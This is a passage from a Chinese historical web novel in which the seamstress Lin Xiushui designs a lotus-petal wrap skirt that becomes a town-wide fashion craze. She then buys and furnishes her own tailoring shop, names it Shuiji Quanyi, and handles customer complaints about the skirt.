“破坏就破坏,那之前旋裙出来的时候,前后开衩的形制,又多是下层娼妓穿着的,抨击的不是更加厉害,到过去多少年了,眼下人人都穿,形制算个屁啊!”另一个裁缝娘子也高声说话,伴随着手猛拍桌子的几声。 “好了好了,你看看你们,吵什么吵,我自己是做抹胸,贴身小衣的,”年迈的裁缝说,“以前东京宣和年间,宫中的宫女还做了一种任人便的小衣,劈开四条缝,只用纽带穿的,叫密四门,也新奇啊,传出来不照旧成了形制。按我来说,衣裳就是任人便的。” 另一道女声笑了笑,又道:“陈娘子,你年轻了些,形制可不是大过天的,打早前还盛行穿胡装呢,穿的番式战袍,你说说,这又算得了什么呢。” “我可不听,那什么叫诸行百户,衣装各穿其本色,不能越外,香铺的要顶帽披肩,质库的穿黑长衫,不就是形制难以逾越吗!” 裁缝作并非不吵嘴,只是关起门来,各吵各的,日日吵,上到一匹布,下到一根裙带,都能吵翻了天去。 眼下各处管事聚集在一处,为了林秀水这种破坏形制的衣裳,开始了各种有理有据地辩驳,你来我往。 林秀水犹豫着,不想进门,倒不是说不过她们,而是这么激烈的争吵,等会儿口水全喷她脸上。 她选择听墙角,等里面吵歇了再进去,结果却是越吵越热烈,已经从衣裳,扯到头饰、冠子、鞋子上去,直到顾娘子过来。 “进来,”她朝林秀水说。 顾娘子一进去,屋里的声音平息了,林秀水才跟在她身后,迈进门槛里去,结果她一进门,议论声又起。 “争论的声音我都听见了,”顾娘子缓步进门站定,“有什么好吵的,各行各业都在争奇,只有我们在守旧,不知道的还以为在守孝!” “今年的衣裳看过没,自己做的衣裳看了没,自己都看笑了吧,我把三年前的旧衣收拾收拾拿出来,跟今年的有什么分别,分别就是吃热饭还是吃剩饭。” “说不准剩饭还比热得好吃。” 顾娘子骂得很犀利,大家坐底下闭嘴不言,她气地喝了两口茶水,扫视一圈后道:“还想说什么?” 有位娘子不惧目光,站起来说:“就算形制不重要,新饭冷饭热炒,可是衣裳是给人行方便的,这即使好看,也穿着不便,而且没人能花得起十三贯的价钱。” “不知娘子把我们叫到这里来的意思。” 这话说得在理,不少人跟着点头,好看固然重要,不便也是真的。 顾娘子不开口,只是看林秀水,而林秀水走了几步站到衣裳边上,她撩起底下的花瓣裙说:“我也清楚得知大家的想法,可如果在衣物上总是束手束脚,想着形制,那么满大街的衣裳除了颜色,毫无分别。” 她小心取下花瓣大袖衫,又将外面套着的粉红花瓣合围裙解下,安稳放置到一旁,眼下除了荷叶边抹胸,这条纱裙变得平平无奇起来。 如同那种毫无新意,裁缝作里一抓一大把的纱裙,连反驳其形制的娘子,也开始闭口不言语,确实很平常。 林秀水请人把箱子抬过来,自己开箱取衣,等转过身回来时,她手里多了一条合围裙。 这条裙子的裙头是用四指宽的浅绿丝绸做的,而下面是莲花花瓣的飘片,每一片花瓣大小一样,粉红色的纱,边缘相互重叠。 林秀水没有绑在纱裙上,她只是又拿出一件极为普通的,连打褶都没有的绢布裙,穿进衣架,她将短花瓣合围裙绑在上面。 不同于长款的错落交叠有致飘逸,短款只到膝盖上的花瓣合围,给简单的白裙子增添了别样的风情,尤其腰后还有两条白绿绸缎,绑在后背,垂落下来像是流苏髻上飞扬的流苏。 并不繁杂的款式,却看得人眼前一亮,那种感觉就是即使买了件平常的裙子,套上这个短花瓣合围裙,无需再费劲穿搭,便能立即出门的好看。 如果说之前整套衣裳是莲花仙子,那么单单这套,便如同清水芙蓉。 林秀水往后退了两步,让衣裳站到她前面,顾娘子则适时开口,“叫你们来也是为此,这个月就做花瓣合围裙和相关衣裳,料子已经备好了。” 这是林秀水在做裙子的时候想到的,十三贯又耗时许久的衣裳,并非人人都穿得起,而且这身衣裳属于张莲荷,她们不会拿出来卖给其他人同样的。 可有没有其他简单、美丽的衣裳,又不需要很多钱的,林秀水突发奇想,便用裁剪花瓣长裙的边角料,拼凑出这款短的合围裙来。 样式稀奇出众,颜色耐看,搭绿裙子、白绢布都可以,价钱不贵。纱制的在三百文左右,除了莲花粉,还可以做荷叶绿的,只是叶瓣要稍微拉长,跟花瓣的圆润不同,像是粽叶的细长。 毫无疑问,这事由林秀水牵头,大家一块来做,这种形制的裙子,市面上头一次出现,像合围裙的话,大多是百褶式、百迭式还有一片式的合围。 花瓣裙在眼下,除了裙头参照合围的做法,系法,可裙摆是完全不相同,在衣物上,并非越新奇卖得越好,大家都抱有不大看好的心,哪怕有部分人很喜欢。 做是照做的,这种合围裙很简单,只要花瓣飘片裁好,边缘缝上细线,防止散纱,再一一缝缀到裙头上便可,一个人一日能出一条裙子,三十个人做这个活。 顾娘子说先做几百条,她对此很看好,至于其他的,林秀水说等有成效再谈。 她也花了一日将张莲荷的衣裳彻底改好,请她来试穿,而张莲荷以为跟上一次一样,在间空屋子里面,试好出来,便带着衣裳回去。 但出乎她意料的是,当她再一次穿好衣裳出来,小心翼翼坐在凳子上时,林秀水笑眯眯地说:“你这个发髻不大合适,要不要换个发髻?” “我也觉得,你会梳?”张莲荷握着执镜,左照右照也觉得不大满意,她惯常梳一个双髻,瞧着头发绑起来实心的,很死板,跟莲花裙的飘逸就不大相称,有种上半身和下半身彻底分割的感觉。 林秀水摆摆手,她可不会梳,会梳的另有其人,她把陈桂花请来了。 陈桂花一听到裁缝作里梳头,换了身齐整衣裳,拿一个小方盒的梳头工具,二话不说便来了。 她掀了帘子,蹑手蹑脚进来,低头只见垂到脚的裙子,暗暗喊了声,乖乖,真够好看的,屏着气不敢出声。 等林秀水喊她,慢慢抬起头,往人家脑袋上瞟了一眼,当下忽地大声地道:“不行,扎的这个发髻不行。” 说完便再也没有畏缩的架势,抱着方盒,像是只母鸡一样气昂昂冲过来,无视一切,直奔着人家的脑袋来。 “换,换成飞天髻,指定没错,”陈桂花语气笃定,手里利落地开启盒子,从满满当当的工具里,拿出把梳子,神情坦然而专注。 张莲荷被她这架势整的,无意识点点头,陈桂花则道:“你信我准没有错,我在我们桑桥渡梳头可是出了名的。” 陈婆梳头,自梳自夸。 林秀水瞥了眼她,哪里来的桑桥渡,最多在桑树口出名。 不过陈桂花梳起头来时,神情格外认真,手随着梳子上下摆动,近来她又去学了待诏的手艺,连杂乱的鬓发也能修整,顺带修理些许眉型。 最巧的是她的梳头手艺,张莲荷的头发不算很多,双髻绑成两个小团瞧着发量不少,可飞天髻的头发盘在后脑处,要分起码三株头发出来,得将所有头发都拆分好。 她不急不忙地梳着,原先头发杂乱无章,在她手里变得很有条理,逐渐在脑袋变成有三个镂空发圈的飞天髻,很衬飘逸的裙子。 林秀水递过去两朵用粉纱做的莲花,插在发髻前,这倒不是她做的,裁缝作有人做绢花很擅长,请人家帮忙的。 “还差一样,”林秀水说着,掀起帘子,走到后面的屋子里,从里面拿出一株象生莲花,就是假花,用剩下的布料做出来的。 她塞到张莲荷的怀里,她蹲下来轻轻地说:“送给你的,小花神。” “等会我们再上个妆,这下你出门,冲着满街的人喊,你是莲花花神,也不会有人说你是假的。” 张莲荷低头看层层叠叠的莲花,做得跟真花一样,她握着莲根,抚摸着花瓣。一个源于她难以释怀而萌生的愿望,她原本以为会被取笑,被怠慢,被因为她的种种要求而退缩,不会有她满意的衣裳。 可事情却一再出乎她的预料,那么不切实际的愿望,被好好珍视着。 林秀水将那条短的花瓣围裙,也拿出来送给她,并请她换上,而后道:“这也是送给你的,我们裁缝作晚些要卖这款合围裙,正是因为有你,才有这款裙子。” “所以我们称之为莲裙。” 张莲荷楞在那里,低头撩起裙摆,忽而一笑,“我何其有幸啊。” “是我有幸能接到你的愿望。” 张莲荷心里像开了一片莲花,而莲花在她这里,有了另外一种永生难忘的意义。 这一次,大家的目光从衣裳,也开始落到她整个人身上,夸奖张莲荷这个人。 林秀水一直认为,到裁缝手里做的衣裳是用来衬人的,怎么让人穿得好看,而不是说人穿了不合时宜的衣裳。 她看张莲花满目春风,笑容洋溢,行走在人群里,像朵盛开到极致的莲花。 林秀水松了口气,转过头,陈桂花正抱臂欣赏,欣赏她自己梳这个绝好的发髻。 “要不,桂花姨你也到我们裁缝作来梳头吧,梳一次工钱能有两百文,”林秀水走了两步,站到陈桂花身旁说道。 陈桂花听了心动,抓紧了绳子的系带,犹豫着张开嘴,最终摇摇头道:“还是算了。” “秀姐儿,你要是请我来帮忙,我肯定来。” “可叫我在这做活,我这个人又不算很聪明,能在一个地方做好,对我来说实属不容易,没法子东头做做,西头做做。” 陈桂花下了台阶,哪怕背着光,面上有着不容忽视的神采,“我这会儿真明白了,赚钱要看本事的,什么都想做,什么都想赚,就是什么都做不好。” “我还是回到桑树口,继续给巷子里的人梳头,洗身子,我赚这份钱比较踏实。” 林秀水没再继续劝,而是打了伞走下台阶,送陈桂花出门去,忽然感觉陈桂花跟小春娥其实很像,认准了一条路就在一条路上走,洗头也好,烧炭也罢,都是条宽阔大道。 而林秀水自己,则一直走在裁缝这条路上。 七月底,花瓣合围裙问世。 在一个很寻常的日子里,出了三伏,又过完白露,悄无声息地摆了出来,在桑绫弄的顾娘子成衣铺、西大街的顾二娘成衣铺、布行旁边的顾家成衣铺。 天气稍凉快下来,来桑绫弄买秋衫的人便多了起来。 “这今年秋衫跟春衫有什么不同,”一个胖姑娘抱怨,“形制一个样,来来去去都是那些东西,而且你瞧瞧那颜色,当真气煞我了,跟我前年买的都是一个色。” “出的又是窄袖,修身,一点放量都没有,小气得很,我连穿都穿不上,干脆我裸着出门算了,省布料省到这份上。” 另一个高个子小娘子翻了个白眼,“连裙子都是短的,到我脚踝过,颜色还丑,又是蓝的蓝的,除了蓝的就是绿的,叫什么青绿山水画,什么鬼。” 两人抨击这几年的衣裳,真是越说越气,没一年叫人满意的,出的衣裳从别的府倒了几手回来,丑得吓人。 气上头来,当真想走了,胖姑娘瞅瞅前面,那围了十来个人,又拉高个子娘子的手,“走,我们也上去瞧瞧。” 挤进人群里一瞧,只见顾家成衣铺门前,站着几个高矮胖瘦不一的女子,全都蒙着面,有穿蓝色上襦的,有穿一件极简白抹胸的,外面罩着的褙子也多是浅色,没有绣花和纹样。 穿的下裳也很简便,一片式的白布裙,或是打了褶的绿绢布裙子,初时围着的大家都皱眉,想着顾娘子成衣铺早前还过得去,纱裙、褙子都做得虽然不算出彩,可都过得去,中规中矩。 怎么越做越回去了,跟街上十个女子里九个女子穿得一样,登时有了嘘声,有人当即嗤了两声,扭头便要走,什么玩意啊。 可这时,人群又传来一阵嘶嘶声,跟山里的蛇跑下来了一般。 只见有人拎着衣架子出来,那些站在门口的女子们不慌不忙取下合围裙,在众目睽睽之下,缓缓围在腰间。 这莲花粉的合围裙到大腿一半处,腰封有白丝绸的,有绿丝绸的,一片片如同莲花瓣,花瓣尖有吊着颗珍珠的,还有什么装饰都没有的,纯粹的美丽。也有在稍左侧一边,挂着莲花纹样式的布贴,吊着粉白的流苏坠子,或是青绿的坠子。 背后的飘带很长,打个结仍旧能垂到膝弯处,给这平平无奇的后背,增添了些许风情。 大家眼睁睁看着,这毫无花样,极为普通的衣裳,突然就变得顺眼甚至惊艳起来。 女子们走动间,这合围裙会轻轻晃动,如同花瓣的摇晃,走的时候有人坐在椅子上,那合围裙就会慢慢分开,如同含苞的花蕊绽放开。 不管是形制,出挑的颜色,垂坠感都给了大家极大的冲击,尤其在这些年太过中规中矩的衣物衬托下,显得出淤泥而不染的莲花一般,格外出挑。 一个女子举着钱袋冲过来喊:“我的娘嘞,这多少钱啊,给我来一条啊啊啊。” “我我我,我先来的,你们让让,别黏在人家身上行不行。” “让开让开,边上去行不行,”又有个女子从人群里,硬生生穿过缝隙,将手伸过去,“给我穿先。” “还有我,我能不能穿得下,”胖姑娘跳起来喊,好气,气到跺脚,气到面目全非。 偏偏在最胖的时候,遇到了最心动的衣裳。 不过没关系,即使穿不上,胖姑娘照旧会先买下,挂在家里告诉自己,等瘦下来就能穿得下。 大家吵吵嚷嚷的,成衣铺有了动静,两个伙伴搬了张小桌出来,安置在窗子边上,林秀水又挎着包出来,笑着冲大家说:“别急,一个个试,要有哪里不合适的,我们可以增花瓣,减花瓣。” “什么意思,”胖姑娘一个箭步,冲上来挤开一群人,最先围到桌子前边,“我能穿不?” “保证你能穿,”林秀水从包里拿出卷好的布尺,冲她招招手,“我给你量一量。” 量好后,取出一条花瓣合围裙,又摸出两条缝好的花瓣飘片,在众人的目瞪口呆下,现场穿针引线,捏着花瓣飘片缝在裙子两侧,使之贴合。 她缝得很快,哪怕别人脑袋挨过来,离她的手很近,也没有丝毫抖动。 还能缝合的时候,回着其他人的话,“这种没有任何饰物的,三百文一条,有珠子的三百六,长一点到膝盖的五百文,有荷花坠子的三百五十文,加飘带是二十文一片。” 这个价钱当真出乎大家的意料,不是不好,是比起动辄五六百的合围裙,做工好,料子好的,真的算很便宜了。 而且不合身当场便能改,头一个问的胖姑娘,她腰身比较壮,原先的合围裙最大也不合身,只能顾前面,顾不了后面。 林秀水新改的,递过去叫她试试,胖姑娘穿得很花哨,脱了自己外面罩着的合围裙和各种裙带,小心绑上这条花瓣合围裙。 她有点忐忑地抬头,会不会很难看,结果一抬头,一群女子面带笑意朝她点头,“可以的,穿起来很合身。” “相当好看啊,”她的好友跑过来拉住胖姑娘的手,“你眼下是莲田里最大的那朵莲花了。” “哈哈哈,那我是最矮的莲花。” “我是最小的。” “我是最老的。” 大家争做莲花,成衣铺前很热闹,人去了又来,每次林秀水一抬头,前面总有乌泱泱一帮人,买了也不走,看看人家穿的裙子,每个人都像是莲花池的莲花,有着不一样的美丽。 这美又很低廉,甚至不需要费许多钱,不需要大家为它奔赴,为它积攒,随便在哪个寻常的日子里,走过来买了,穿上它走进人群里。 它不大寻常,又很别致,可属于每一个平凡的人。 这款合围裙出来第一日,三百条便卖断货了,街上十个人里,起码有两三个穿着这裙子的,她们不仅给自己买,还给自己亲戚姐妹带一条。 成衣铺生意很少这么好过,门庭若市,弄得周边几家成衣铺急得要命,买了好几条,照着版型花样熬大夜赶工。 等她们赶出来时,花瓣裙已经可以拼色了,粉绿,粉白双拼,还有选长短,加几串珠子,或者是长叶子和花瓣款的。 而且赶工出来的,颜色不如裁缝作准备了半个月,叫人专门染的荷花粉好看,一个是清透的粉,一个像腮红抹多了,做工也不大行,主要是纱很硬,浆得太重,不垂,像是鼓起来的荷叶边。 便宜比成衣铺卖得要便宜,毕竟这种合围裙纱料用得又不多,而且做工简单。 但图便宜的人一瞧,嫌弃撇撇嘴,“我还是多花五十文,上人家那里买去好了。” “对啊,虽说这东西便宜,可也不能糊弄我们老百姓吧。” 在莲花要谢的季节里,桑青镇刮起了穿莲裙的风潮,有人说,莲花虽谢,粉色当道。 唾手可得的美,没人会 放过。 这股风潮的盛行,犹如星火跳进一片野草丛越燃越烈,哪怕林秀水行船,随便在哪个地方下去,穿街过桥,她总能看见有女子穿着的身影。 即使看过成百上千次,但每次她都会投注目光,那是一种隐秘而无法宣泄,却又心知昭昭的成就和满足。 这是从她做出来的,哪怕穿它的人都不知道她。 不同于熬了许久做好一整套衣物的满足,这种风潮的盛行,更是对裁缝毕生的肯定,是林秀水许多年之后,仍旧能拿出来夸耀的。 让一个人穿是本职,可当一百人,两百人,三百人穿,那是裁缝的本事。 她是懵的,对此并没有做过充足的预料,整个人都有茫茫然,像是盯久了日头的眩晕,又充斥着惊喜。 张莲荷比她兴奋,她穿着林秀水做的衣裳,甩着袖子围着她转圈,“我不用上苏州去了,我出门就能看见大家穿着这条裙子。” “我一想到,它有些许是因为我,我睡也睡不着,我欢喜得要死。” 谁懂这种处处是同好的感觉,喜欢的东西被更多人喜爱。 张莲荷送了林秀水一盏她自己做的莲花灯,她没有办法告诉林秀水,她十六年的人生里,只有此刻最快乐。 但她跟林秀水说:“你是我见过最好的裁缝。” 林秀水接受她的夸赞,感谢她带来的,两人简短相拥。 七月过去,八月才到,合围裙卖出了上千条,很多人来恭喜她。 而顾娘子一步一步踏在地上都很响亮,走路带风,她的算盘又在噼里啪啦地打来又打去,这不仅仅是卖出去裙子,连带着顾娘子成衣铺,以及其他几家铺子都有了名气。 “阿俏,你先坐下,”顾娘子出门迎接她,请林秀水坐下来,她再坐到另一边,从桌上推过去一盘堆叠起来的银子,大概有一百两。 眼下没人用银票,早前的交子或许还能有公信力,可到时下,不管交子还是新出的会子,都在官府和朝廷胡乱更改下被弃用,大家更信金银铜。 “这是一百两,”顾娘子推到她手前,“这是先给你的,合围裙卖得很好,我们打算卖到临安内城,卖往其他府县,钱绝对绝对不会少了你的。” “我这边打算让你当大管事,一个月的月钱为五十两,如果你抽纱绣和缝补处忙不过来,我可以给你底下加两个小管事,调一个账房。” “大管事休工的日子可以从一月三日,到一月八日,节礼还能再升,你觉得呢?还是有别的打算。” 林秀水的手摩挲桌子边缘,她的眼睛看着这一盘的银子,白花花的,闪着光泽。 有这一百两,加上她自己攒的九十两,可以买一间一百五六十贯的铺子了,可以买两层的,她有点坐不住,脚想往外走,又被五十两的月钱拉回来,强行被按坐着。 她胸膛有些许起伏,呼吸不稳,手背贴着冰凉的银子,可她从头到脚都是滚烫的。 林秀水缓慢开口:“要买铺子去。” “你要单干?”顾娘子血往脑门上涌。 林秀水不会隐瞒,支摊缝补跟开铺子做裁缝是两码事,她一定会告诉顾娘子,而不是让她从别人的嘴里听见。 “娘子说帮我加两个小管事,又加个账房,休工日子也多,我确实能腾出手来,我也想开个裁缝铺子,”林秀水斟酌道,“我做出莲裙前,已经有半年多围着几样东西打转,不曾休息。我有一段日子想不出新鲜花样了,人如果长久地停留在原处,我也很难再有长进。” 这下她手里许多东西,不管是抽纱绣、缝补,还是说其他的,都已经有了相当大的进展,不再需要她时时盯着,日日扑在上头打转。 她想暂时放下手,去接触市井里其他更有意思的人和事。 顾娘子知晓了她的想法,松了口气,又给她加了二十两银子,“买间好的吧,给你再放三日,忙自己的事去吧。” 总不能在人家熬了二十几日,还要强行为莲裙加工,添一把火吧,总得缓缓。 林秀水下工是背着篓子走的,看起来特别朴实,走过路过的人全瞧她一眼,而她一蹦一跳往前走,脚步轻快,谁能知道她篓子装的全是钱。 “老天爷,你抢钱去了啊?”王月兰捂着自己的嘴,她吓得心狂跳,“从哪搞来的?别人掉的你被你捡了?” “我、赚、的!!”林秀水说得小声,架势很足,她叉腰。 王月兰扑通一声,差点没把桌子给掀了,她连忙扒着桌子边给稳住,跳得更急促了。 她接过林秀水递来的温水,喝了两三口,缓过来才道,“下次说大事的话,我们在金药臼楼太丞药铺前说,他家医术比较好,我要别过气去的话,找人更方便。” “姨母,你认真的吗?” “我吓死了。” 不过王月兰缓过气后,又由衷地为林秀水高兴,她家阿俏有出息了。 从前阿俏说不靠别人,靠自己混口饭吃,靠自己赚钱,靠自己能让她跟小荷过上好日子。 她当真说到做到。 王月兰没有哭,她只是轻声地说:“吃了很多苦头。” 当然林秀水也没有哭,她拿了把秤先秤银钱,等着吓死张牙郎,三十年河东,三十年河西,她有钱了。 “你上哪家质库押的钱,怎么不找我,我便宜得呀,”张牙郎急死了,谁家好人能不到二十日的工夫,买铺子的钱翻倍的啊,从七十贯一下到了一百七十贯。 王月兰拉她一把,林秀水只好说起两人串好的口供,含糊其词,“找熟人借了个遍。” “我们熟人多。” 张牙郎无言以对,给她支招,“下回别借了,多伤情分,还是找质库吧,还不出来顶多挨两顿板子。” “看铺子去。” 如果说一百贯的铺子只有个空屋子,那么一百贯往上的,真是各有各的好,要钱多得准没错。 首先地段好,在南货坊最繁盛的前街,跟南瓦子只有一桥之隔,前面临河,没有遮挡目光的桑树,离桑树口有点远,至少要走三四百步。 边上两家铺面,一家是铺面很大的,做租赁营生的,租赁的东西除了花担、首饰、被卧等外,更多的是衣物。 跟林秀水的裁缝铺不仅不冲突,还能带来生意,不合身的她可以改,要好看她可以,破了、坏了可以,定做可以。 而且人家很出名,至少在整个桑桥渡的话,租东西都会上王家租铺这里来,林秀水在门前稍站的工夫,起码有三拨人过来,租十几二十件衣裳。 另一家的话,是家杂货铺,叫作刘三姐杂物铺,卖的相当杂,都是供给南瓦子里耍杂技人用的货物,锣板、枪刀剑戟、帐额牌旗、鼓笛、剪纸、彩皮、踏橇(高跷)等等。 比起前头瞧得数十家,林秀水对这两家邻舍相当满意,虽然铺子楼下没有上次瞧得一百贯那么大,可它有二楼,有窗子,光线好,可以做试衣裳的地方。 减免了八两,一气给一百六十五两,林秀水有些难受,当然这种难受随着张牙郎到官府里跑上跑下,拿到房契的那一刻烟消云散。 她站在官府门前,看了又看,薄薄的一张房契上,最下面落款处——林秀水。 不是别人,是林秀水。 今年春天里在桑树底下支摊,春末到有廊棚,继而租下间裁缝屋子,夏末秋初,她终于买下她想要的铺子了。 当下一切都很好,她不会回头往顾。 第75章 第 75 章 开门营业——水记全衣…… 买铺子这种重大喜事, 林秀水要宴请大家。 当晚她请王月兰、桑英跟小荷,一块上桑青镇里最大的正店吃饭。 王月兰不肯去,她背着人偷偷哭了一场, 拽着林秀水说:“你眼下正是用钱的时候,不去那里吃。” “怎么不去,”林秀水反拽着她, 往门口拉,“我们从来没去外头吃过,吃一顿怎么了。” 她的打算可是这会儿买铺子,往后买 屋子, 买田地,有铺子的房契在身,屋产田宅她都敢想。 桑英也拉王月兰的手, 小荷用力在后面推,她可想去吃饭了,王月兰受不住说:“去去去。” 正店便是酒楼,楼下坐的是散客,楼上有小阁,称为稳便阁儿,林秀水要了一间, 她奔着喝酒来的, 买了一小罐蔷薇露。 菜的话, 点了青皮橄榄、米脯风鳗、薄皮蟹黄、鹅鲊等几样菜, 林秀水给小荷单点了份糖豌豆。 正店里点黄雀酢的人很多,上林塘又到了漫天黄雀的季节里,桑英举着筷子晃了晃说:“阿俏,还记得我们两个用别人家不要的渔网, 你剪下来绑在棍子上,套着捕,结果网破了,我们那天捕到三只,卖了六文钱。” “后来学聪明了,用麻袋剪了套着捕,”林秀水夹了块鹅鲊,她边吃边说。 桑英喝了口蔷薇露,她想要是还在上林塘的话,两人照旧捕着田间的黄雀,为赚几十文而高兴,人生际遇竟然会有翻天覆地的改变,幸而是极好的。 实则她今日刚知晓,对林秀水买铺子这件事,大为高兴与震撼,又极为鼓舞。 她一个月工钱两贯多,每日累得倒头便睡,买屋买铺子都很难,还会花钱买东西寄回上林塘,她有些熏熏然地握着林秀水的手说:“阿俏,恭喜你,我要攒钱送你份大礼,我也得再努力些。” 王月兰将杯子磕在桌子,她抹把脸说:“是啊,得下苦功夫。” 林秀水完全不知道,她在一门手艺精进技术拥有的东西,给两人带来了不小的冲击,干一行精一行才是王道。 三个人吃了酒又说又笑又闹,只有小荷不解,喝了这臭臭的东西,难不成会傻吗? 林秀水第二日又请了小春娥,小春娥啊啊啊叫了三声,围着林秀水绕圈问:“真的吗?真的吗?” “天呐,我,我,”小春娥说不出话来,她喉咙忽然像有东西梗在那,团成结,鼻子酸,眼睛前也雾蒙蒙的。 “这不是该高兴的吗?”林秀水拍拍她的肩头。 小春娥背过身擦把泪,因为她比很多人要清楚其中的酸楚,所以她会先流泪。 “高兴,我怎么会不高兴。” “不该你请我的,”小春娥牵她的手,“上我家吃去,我叫我娘给你做一桌子菜。” “要庆两件事,一是你买到铺子了,二是你做的衣裳遍地可见。” 林秀水跟随她的脚步往前走,晃了晃牵着的手,笑道:“可是这第二件,你已经庆贺过了。” 小春娥振振有词道:“没见它排在第二吗,说明这件事可以庆两遍。” 好有道理,无法反驳。 林秀水去小春娥家,已经是熟门熟路了,熟到她家两边邻舍已经都认识她了,一来就说:“裁缝作的小阿俏来了啊。” 每次都能吃到小春娥她娘的拿手菜,一道糟货,一道蹄脍,因为蹄子日日有,什么人来都吃得上。 今日还吃上红熬小鸡鹌子、野味假炙黄羊。 林秀水还是被大春玲送回去的,本来还想谢陈九川的,他有单急货,必须三日内到镇外很远的庄子,傍晚走的,临走前特意来告知她。 她便兴冲冲琢磨起裁缝铺的事,这两日先请人打扫干净,铺子只空了半个月,可之前铺子是做胭脂铺的,木墙上一道道红印子,墙角打翻过面油,糊成一团,柏木地板上有渗进去的粉,一踩呲溜冒出来。 张牙郎说是这家还做过擦面的,用石膏、蚌粉、滑石、米粉来调制,涂脸上再描抹。 二楼挺干净,早前放妆盘、丝罗等物的。 她请了桑桥渡的老漆匠,她自己出钱买的好广漆,广漆价贵,三桶一贯五,涂上去比桐油还要锃光瓦亮,漆匠带他两个儿子来的,一日工钱三百文。 而裁缝铺陈设布置的话,林秀水走了许多家裁缝铺,才琢磨出来,一见门能看见的必定是堆在桌上成匹的布料,颜色也艳,如红、粉、橙等,打从门前走过,被亮色晃了眼,总要进去瞧瞧。 林秀水有样学样,整个南货坊最不缺桌椅板凳,她和王月兰一块去买了两张黑漆大桌,叫伙计架到平头车上送去的。 一张桌子价钱九百文,没有任何雕花,王月兰盯着人绑好桌腿,从篮子里掏出旧丝绵塞在桌角边,这青石板路石子多。 她嘀嘀咕咕的,“老贵了,你下次找张木匠做,他能给你省点钱。” “另一张宽桌板、衣架子不是请张叔做了的,”林秀水说完,叫伙计等等,“还要买两个绣墩,劳烦在这稍等下,给我们一起捎过去。” “行,前头那李阿三家的木墩不错,”伙计放下车把,指指前面那拐角处。 两人顺着他指的路,找到间小木匠铺子,林秀水想想买了三个木墩子,一百二十文一个,放一楼,别人能坐。 她杂七杂八买了些器物,一个高脚花几,到时候放一个十来文买的白瓷花瓶,一把竹制的交椅、账台、屏风等等。 休三天工,前一日等打扫好,漆匠将一楼全漆过一遍,晾干透气,地板墙面全部一新,漆得油亮后,第二日下午采买的物件陆续添置进去。 到第三日,林秀水在路边找了两架车,跟平头车的宽架子很像,两边有栏杆,还挂了青布帘子,他们用来接女眷的。 林秀水则要运布。 之前织巧会的时候,她用加工钱换每个月在裁缝作领十匹布,算上这个月,有二十匹布,她自己还买了好几匹。 一个裁缝铺布料是重中之重。 七月的布料多是绫罗绸缎,绢布细麻得多,到了八月,细绵绸、粗绸、厚罗等,料子变得相对厚重起来。 林秀水还真是全挑的好料子,只她挑了一半拿去跟布市里换,一匹提花罗的,能换两匹细绢布,换梅子青、月白、朱砂红、松花、葱绿等色。 这样她有十匹绸缎、花罗等好料子,十匹细绢布,十匹细麻,八匹从青丫那里买的蓝色绞缬布。 从前发愁布料,眼下布料不愁了,林秀水摆完布料后,愁起一个非常重大的事情。 她的铺子没有名字啊,她不会取名。 时下的铺子多以自己名字命名,什么张古老胭脂铺、游家漆铺、沈家枕冠铺、陈家画团扇铺等等。 林秀水总不大满意,她不想叫林家裁缝铺,林娘子裁缝铺或者更可耻一点的,林秀水裁缝铺,阿俏裁缝铺。 王月兰、桑英是帮不上她的忙,她去找思珍问问,思珍也穿莲花粉的花瓣裙,在腰间扎了两条红绸布的缎带,笑着跟她说自己有多喜欢,“拯救了我好几条白裙子。” “我买了三条呢,绿的一条,粉白的一条,还有身上这条,”思珍拉着她的手说,“好裁缝,你可一定要多多出衣裳,你的裁缝铺子我当第一个做衣裳的。” “那我可等着你来捧场,”林秀水揉揉额角,“快帮我想想。” “我实在想不出来,有个卖伞的,不是叫清湖八字桥老实舒家,我都想叫桑桥渡老实林家裁缝铺了。” 林秀水挪了挪凳子,说到这种不正经上,忽然就有了十足的兴致,“还有还有,有一家叫极品好茶,我可以叫极品好衣。” “之前日日做缝补的时候,想叫什么都能补,要不我叫什么衣都能做算了。” 思珍没拿稳茶盖,茶盖 在茶盏边缘叮叮当当地转了一圈,她扑哧笑出声,“你怪有意思的。” “其实林家裁缝铺也不错啊,双木成林嘛,双木做衣也可以,你叫我想,我着实想不出太好,又响亮的名字出来。” 林秀水趴在桌上,两人又商量了许久,她的裁缝铺能做褙子、裙子、抹胸等等,相当于做全套衣裳了。 最后定下了叫作水记全衣,水取自林秀水最后一个字,记写的时候是用記的,言和己都是做衣中重要的东西,全衣指全身上下的衣裳。 林秀水对此很满意,到时候做个招幌挂出来,叫做整衣、做好衣,大美衣裳。 给女子、孩童做全装好衣裳——水记。 她请思珍吃了顿饭,又去寻做牌匾的匠人,一块三四尺宽的牌匾的话要三日,用红漆刻字刷黑,一块要八百六十文。 零零杂杂算下来,林秀水抖抖所剩不多的碎银子,花了她十贯多。 三天一过,她立即回裁缝铺上工了,她相当爱干活,好不容易到了秋收,结果在她身上闹钱荒了。 抽纱绣和缝补处来的两个小管事,性情也不错,抽纱不会,可会管人,会处理外事,有专门的账房记账。 林秀水则有另外的活,顾娘子脚步匆匆,在小道上边走边说:“这合围裙卖得确实很好,我上回说了要卖到临安内城,其他府镇去,临了发现不成。” 庄管事赶紧接上道:“卖得多了,有许多问题,一个是如果下身太胖,这个纱会鼓起来,起翘,一个是不能用力洗,洗洗可能会散边,我们用的纱为了垂坠很轻薄的,有些人嫌太薄,用米浆去浆纱,料子变形,中间鼓包鼓起来。” “最下面的瓣尖有坠了珍珠的,只在前身和腰间两侧,后面没有,我们之前不是说了坐下来会咯到,尤其是坐在宽椅上,所以就把后面的珍珠去掉了,”管缝裙子的李娘子说,“这会儿是有不少买了珍珠的人,过来说这样后背处不好看,即使钱当时已经少了,想要将珍珠补齐,问题是这种大的,坐下来肯定会咯到。” 林秀水先坐下来,听完所有的问题,大大小小总共有十几样,各种乱七八糟的,人怕出名猪怕壮,衣裳出名毛病多。 “可以先给珍珠,缝前问清楚了,”林秀水脑子转得飞快,“以及换其他的法子,当时我们说有飘带去补足空缺的地方。那么后腰处的瓣尖可以再加两根绿色小丝带,再想想别的法子。” “自家浆纱不管,”顾娘子说,“卖出去了,大家随意乱改,那我们不用做生意算了。” “散边的估计是折边包的太紧太细,针穿过去太厚实了,会有漏针的情况出现,这个看是不是扯断的,剪断、或者故意的,从这个纱孔处漏的话,扯出个大洞,就是漏针了,”林秀水抓起自己身上的衣裙,两手扯着布料风缝线处,而后严肃道,“这得给人家换一条,卖出去的时候,一定要查得仔细。” 